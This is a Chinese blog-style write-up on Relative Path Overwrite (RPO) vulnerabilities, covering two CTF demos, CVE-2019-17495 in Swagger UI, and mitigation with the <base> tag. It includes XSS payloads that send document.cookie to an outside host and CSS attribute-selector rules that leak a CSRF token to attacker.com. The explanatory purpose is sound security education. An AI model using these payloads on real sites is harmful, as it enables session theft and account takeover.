浅谈一个冷饭-RPO漏洞的利用
Background
最近在审代码的时候发现一些安全配置不生效的情况,查看了一下发现是因为一些路径的原因,进行了查询发现了这种漏洞全称为Relative Path Overwrite 而且可以追溯到2014年,于是写下这篇文章记录下.
Part1. RPO漏洞的概念
这个漏洞存在的核心是关于服务器和客户端的解析差异,我们很早之前就知道对于锚点所可能造成的安全问题,比如在挖掘ssrf相关漏洞如果在后台简单的判断后缀必须为.png 我们可以通过#.png 来达到一个成功访问的bypass . 首先RPO存在的条件为开启了URL重写之后
当我们这样访问 /index.php/1234 网站时,服务器角度会把子元素识别为参数,而浏览器其实是无法分辨哪一部分是参数,整个路径都会被识别为一个路径
这样会出现一个问题,当在网页内使用相对路径引用一个资源。比如
<script src="/src/main.js"></script>
<script src="src/main.js"></script>
假设我们访问http://web,com/index.php 的时候 这两种写法都会加载我们的js文件,这样子我们写的一些策略是都会执行的
但是如果我们访问http://web.com/index.php/ 的时候 第二种写法会将/index.php/ 识别为当前目录 而会加载/index.php/src/main.js 而由于url重写 服务器会返回/index.php 但是index.php的页面内容可以作为JavaScript的内容
这个基本的例子中我们也很好理解 url尾部存在的斜杠会被服务器当作目录,没有的话会被当成一个文件
那我们再举一个引用css的例子
<link rel="tylesheet" type="text/css" href="style.css" />
在这里我们预期想要调用/style.css 但是如果开启了重写,比如我们调用index.php/tmp/ 服务器调用的是index.php 但浏览器会继续index.php/tmp/style.css 来寻找css 我们再上面提到过此时页面的内容可以作为javascript的内容 所以在这里由于css的特性(会忽略到不正确的语法一直找到有用的语法)就可能造成css注入的结果
Part 2. Demo1
我们举个题目的例子
存在一个js 文件
可以看到他过滤了一些xss相关字样
在vuln.php中代码如下
可以看到他像我们上文所提的那样 用相对的方法调用filter.js 分析这个简单的功能点是一个留言板的功能 但因为写入了innerHTML 可能存在xss漏洞
<?php
if(isset($_POST['path'])){
exec(escapeshellcmd("python3 /bot.py " . escapeshellarg(base64_encode($_POST['path']))) . " 2>/dev/null &", $output);
echo($output[0]);
}
?>
可以看到会有Bot来访问提供的路径,所以无疑是个xss问题
那就很容易了 当我们访问index.php/ 会得到上图的结果,那很显然是不生效的 而访问index.php会得到下图这种
所以我们直接进行xss漏洞即可,他给的过滤没什么用处 DOM xss直接使用如下payload即可
<img src=@ onerror=location.href="https://xxx.com/?"%2bdocument.cookie>
Part3. Demo2
第二道题目是第一道题目的进阶版本 同时他也是一道基于RealWorld改编的漏洞 他首先将js放在了static里面
而且开启了重写规则 只要访问/路径开头的css和js 都自动加载/static下的filter.js
RewriteEngine on
RewriteRule ^/(.*)\.(js|css)$ /static/$1 [L]
ErrorDocument 404 /404.php
注意到这里还存在一个404.php
<?php
header("HTTP/1.1 200 OK");
echo $_SERVER["REQUEST_URI"] . " not found.";
?>
这样filter.js在/static目录下 我们看起来很难操作 但我们在题目中强调了 别忘了index.php/filter.js 情况下php里面的内容会被当成js 当我们访问不到他会重定向到404里面 我们插入 /index.php/;alert(1)// 即可注释掉后面并且执行js语句
;location.href='https://xxx.com/'+document.cookie;//
所以使用poc 即可 注意+要被编码成%2b
Part4. RealWorld 下的RPO
CVE-2019-17495
在 CVE-2019-17495中 存在一个RPO+css injection的漏洞
漏洞的原因是 swagger支持导入远程的json文件
var url = window.location.search.match(/url=([^&]+)/);
// ...
url = options.swaggerUrl || url
// ...
var swaggerOptions = {
spec: spec1,
url: url, // ...
}
var ui = SwaggerUIBundle(swaggerOptions)
因为设置了relative的css 我们可以通过一些小技巧来偷取一些东西 比如csrf token
input[name=csrf][value^=aa]{
background-image: url(https://attacker.com/exfil/ca);
}
input[name=csrf][value^=ab]{
background-image: url(https://attacker.com/exfil/cb);
}
...
input[name=csrf][value^=a9]{
background-image: url(https://attacker.com/exfil/c9);
通过这样的构造方式我们可以拿到完整的csrf-token,可以进一步获取更多的权限
Part5.修复&&总结
那么如何修复呢,首先针对性关闭一些url重写或者是注意写法当然都可以解决 但我这里提一下可以用<base>
标签无论怎么构造,浏览器加载资源时的行为就是base指定的base-path(和我们在url里构造出来的无关)+relative path 两者都不可控,且似乎没有覆盖base标签指定的这个默认值的方法,所以和绝对路径一样无法利用。
综上所述可以看到RPO漏洞自身危害性不高,还是需要配合xss以及css注入才能构造一个链子来造成危害,而且漏洞所需要的场景配合还是比较苛刻的,但并不是没有
参考链接
https://docs.ioin.in/writeup/blog.innerht.ml/_rpo_gadgets_/index.html